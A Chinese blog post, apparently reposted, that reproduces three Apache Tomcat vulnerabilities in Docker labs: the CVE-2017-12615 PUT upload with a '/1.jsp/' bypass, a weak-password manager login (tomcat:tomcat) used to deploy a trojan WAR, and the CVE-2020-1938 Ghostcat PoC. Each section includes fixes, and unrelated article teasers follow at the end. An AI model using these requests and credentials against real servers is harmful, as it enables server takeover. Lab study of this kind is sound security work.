[中间件漏洞]tomcat漏洞复现

news2024/11/27 8:21:02

目录

 Tomcat 远程代码执行漏洞(CVE-2017-12615)

漏洞描述

漏洞原理 

漏洞复现

 漏洞修复

tomcat弱口令&war远程部署 

漏洞原理

漏洞复现 

 漏洞修复

Apache Tomcat文件包含漏洞(CVE-2020-1938)

漏洞复现 

漏洞修复


 Tomcat 远程代码执行漏洞(CVE-2017-12615)

漏洞描述

当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数 由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代 码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

漏洞原理 

 漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。
 

漏洞复现

启动靶场 

[root@server CVE-2017-12615]# docker-compose up -d    启动靶场

[root@server CVE-2017-12615]# docker-compose ps        查看端口

访问靶场页面

 

用bp抓包直接发送以下数据包即可在Web根目录写入shell:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

 

 

 

访问该文件,成功显示,也可将shell内容改为自己写的shell代码

 漏洞修复

设置 readonly未true


tomcat弱口令&war远程部署 

漏洞原理

在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令, 使用工具对其进行穷举。得到密码后,也可以进行后台上传恶意代码控制服务器。

漏洞复现 

启动靶场

[root@server tomcat8]# docker-compose up -d   启动靶场

[root@server tomcat8]# docker-compose ps        查看端口

打开tomcat管理页面`http://your-ip:8080/manager/html`,输入弱密码`tomcat:tomcat`,即可访问后台:

 制作一个木马

 

将它压缩成压缩包

 

将后缀名改为war

 

 

 

 找到上传入口上传war文件

 可以看到上传成功

 

 用蚁剑链接成功

 

 漏洞修复

1.在conf/tomcat-users.xml下设置强口令

2.删除manger文件

 


Apache Tomcat文件包含漏洞(CVE-2020-1938)

Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的 Web服务器运行。Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。

影响版本

Apache Tomcat 6

Tomcat 7系列 <7.0.100

Tomcat 8系列 < 8.5.51

Tomcat 9 系列 <9.0.31

漏洞复现 

[root@server CVE-2020-1938]# docker-compose up -d        启动靶场



[root@server CVE-2020-1938]# docker-compose ps            查看端口

通过nmap查看8009和8080端口是否开放

在kali上下载poc代码验证

 

 

漏洞修复

1.更新到安全版本

2.关闭AJP服务

3.配置ajp配置中的secretRequired跟secret属性来限制认证

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/598288.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ffmpeg之AVFormatContext详细解释

AVFormatContext 作用 AVFormatContext主要起到了管理和存储媒体文件相关信息的作用。它是一个比较重要的结构体&#xff0c;在FFmpeg中用于表示媒体文件的格式上下文&#xff0c;其中包含了已经打开的媒体文件的详细信息&#xff0c;包括媒体文件的格式、媒体流的信息、各个媒…

1 行代码开启「密钥检测」,给敏感数据加上防护锁

&#x1f4a1; 近日&#xff0c;在「DevSecOps 软件安全开发实践」课程上&#xff0c;极狐(GitLab) 高级专业服务交付工程师韩飞、极狐(GitLab) 前端工程师任治桐&#xff0c;分享了密钥检测的背景、应用及处理&#xff0c;并演示了极狐GitLab 密钥检测功能&#xff0c;快用 1 …

视频文件损坏无需再苦恼!快速修复方法分享!

如今录制视频或者从互联网下载视频都很简单&#xff0c;这些视频可以从笔记本电脑、电视甚至智能手机上用于观看或上传到自媒体平台/社交平台。 但视频有时会出现损坏的问题&#xff0c;导致视频无法正常播放&#xff0c;出现这种情况怎么办&#xff1f; 导致视频文件损坏的原…

家居购项目 1.分页导航 2.购物车 3.订单生成

文章目录 &#x1f400;Java后端经典三层架构&#x1f407;MVC模型&#x1f407;开发环境搭建&#x1f407;会员注册&#x1f333;前端验证用户注册信息&#x1f333;思路分析&#x1f349;创建表&#x1f349;创建实体类&#x1f349;DAO&#x1f34c;MemberDAOImpl &#x1f…

怎么编辑pdf里面的文字?好用工具分享

PDF文件是一种非常常见的电子文档格式&#xff0c;它具有通用性、易分享、易打印的特点&#xff0c;因此广泛应用于各个领域中。然而&#xff0c;PDF文件通常是只读的&#xff0c;如果需要修改其中的文字&#xff0c;就需要使用专业的PDF编辑软件或者在线编辑工具。 市场上有很…

cuda编程学习——原子函数(十)

前言 参考资料&#xff1a; 高升博客 《CUDA C编程权威指南》 以及 CUDA官方文档 CUDA编程&#xff1a;基础与实践 樊哲勇 文章所有代码可在我的GitHub获得&#xff0c;后续会慢慢更新 文章、讲解视频同步更新公众《AI知识物语》&#xff0c;B站&#xff1a;出门吃三碗饭 …

文心一言 VS 讯飞星火 VS chatgpt (28)-- 算法导论5.1 3题

三、假设你希望以1/2的概率输出0与 1。你可以自由使用一个输出0或1的过程 BIASED-RANDOM。它以某概率 p 输出1&#xff0c;概率 1-p 输出0&#xff0c;其中 0<p<1 &#xff0c;但是 p 的值未知。请给出一个利用 BIASED-RANDOM 作为子程序的算法&#xff0c;返回一个无偏的…

pwm led

PWM Dimming (脉冲宽度调制) 调光——是一种利用简单的数字脉冲&#xff0c;反复开关灯光LED驱动器的调光技术。通过程序控制输出宽、窄不同的数字式脉冲&#xff0c;即可简单地实现改变输出电流&#xff08;电压&#xff09;&#xff0c;从而调节LED灯的亮度。 当PWM不是满占空…

真无线蓝牙耳机哪个牌子好用?六款真无线蓝牙耳机品牌推荐

无论我们是看视频还是在路上听音乐&#xff0c;真无线蓝牙耳机可以丰富我们的一天。然而&#xff0c;问题是有太多的选择&#xff0c;许多人不知道哪一款的性价比高音质好&#xff0c;下面小编特意整理了一期性价比高音质好的蓝牙耳机。 第一款&#xff1a;南卡小音舱lite2 蓝…

运维小白必学篇之基础篇第一集:Linux相关命令实验

Linux相关命令实验 实验者&#xff1a;胡 阳 命令提示符 【rootlocalhost ~】# 【当前登录系统的用户主机名 当前工作目录】提示符 &#xff08;# 表示 管理员&#xff09; &#xff08;&#xff04; 表示 普通用户&#xff09; 基本格式&#xff1a;命令 【选项】 【…

一文带你学习前端 - 自动化测试

theme: devui-blue 前端自动化测试 1. 自动化测试基本概念介绍 前言 一般我们实现功能&#xff0c;基本都是两部分写代码&#xff0c;调试/测试。写代码和测试的时间&#xff0c;基本都是55分。如果是测试逻辑&#xff0c;可能要打一下log&#xff0c;或者打断点去调试。测…

行业报告 | 工业机器视觉深度报告——兼具高成长和成熟技术的AI应用赛道

原创 | 文 BFT机器人 01 核心要点 核心观点: 工业机器视觉是高技术壁垒、商业模式成熟、国产替代迅速、行业快速发展的优秀赛道。行业端&#xff1a;3C电子是最主要的行业&#xff0c;新能源行业增速最快&#xff0c;受益于质量管控政策和行业高增速。技术端&#xff1a;大模型…

让工作效率提升10倍:十大AIGC工具评测

AI技术的普及已经在近年来不断增长。这种技术已经改变了我们与电脑的互动方式&#xff0c;让我们能够更高效、更自然地完成任务。本文将展示10个基于ChatGPT和GPT-3 AI模型构建的最强大的资源&#xff0c;使您更容易充分利用它们的潜力。因此&#xff0c;如果您想利用AI技术改进…

DiscoTOC - 自动内容表格

示例 桌面 移动终端 特性 toc table of contents&#xff08;内容列表&#xff09; 通过菜单上面的设置按钮&#xff0c;根据当前内容的状况一键生成 toc 列表Toc 将会一直在页面中尽显显示 —— 滚动内容与 topic 的链接是同步的当你滚动过当前页面中中的主题的时候&#…

Python numpy - 数组的创建与访问

目录 一 数组array的创建途径 1 列表list 2 函数array 3 函数arange 4 函数zeros 5 函数eyes 6 随机函数randn/ randint 二 数组array的访问 1 访问形状/元素个数/数据类型 2 访问一维数组的位置/范围 3 访问二维数组的位置/范围 4 用&#xff1a;访问二维数组的…

美国餐饮连锁集团【CAVA Group】申请纽交所IPO上市

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经 猛兽财经获悉&#xff0c;来自美国的餐饮连锁集团【CAVA Group】近期已向美国证券交易委员会&#xff08;SEC&#xff09;提交招股书&#xff0c;申请在纽交所IPO上市&#xff0c;股票代码为(CAVA) &#xff0c;CAVA Group…

基于SSM的疫情物资管理系统

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

公民开发者学习无代码编程,从CRUD开始

目录 1 创建数据表2 创建新增页面3 新增功能开发4 预览总结 自从Forrester2014年提出低代码的概念后&#xff0c;对于编程人员重新进行了划分。使用传统开发工具&#xff0c;使用代码进行编程的叫专业开发人员。使用低代码或者无代码开发工具&#xff0c;作为企业内部的人员&am…

基于深度学习的高精度老鼠检测识别系统(PyTorch+Pyside6+YOLOv5模型)

摘要&#xff1a;基于深度学习的高精度老鼠检测识别系统可用于日常生活中检测与定位老鼠目标&#xff0c;利用深度学习算法可实现图片、视频、摄像头等方式的老鼠目标检测识别&#xff0c;另外支持结果可视化与图片或视频检测结果的导出。本系统采用YOLOv5目标检测模型训练数据…

如何确定bug是前端还是后端的错误?

前言&#xff1a;学会分析一个bug属于前端还是后端的错误&#xff0c;可方便开发快速定位问题&#xff0c;缩短与开发的沟通成本&#xff0c;也是测试人员的必备技能&#xff0c;笔者面试时就曾经被问到过&#xff0c;那就一起分析一波吧。 一、定义bug类型&#xff1a; 1、…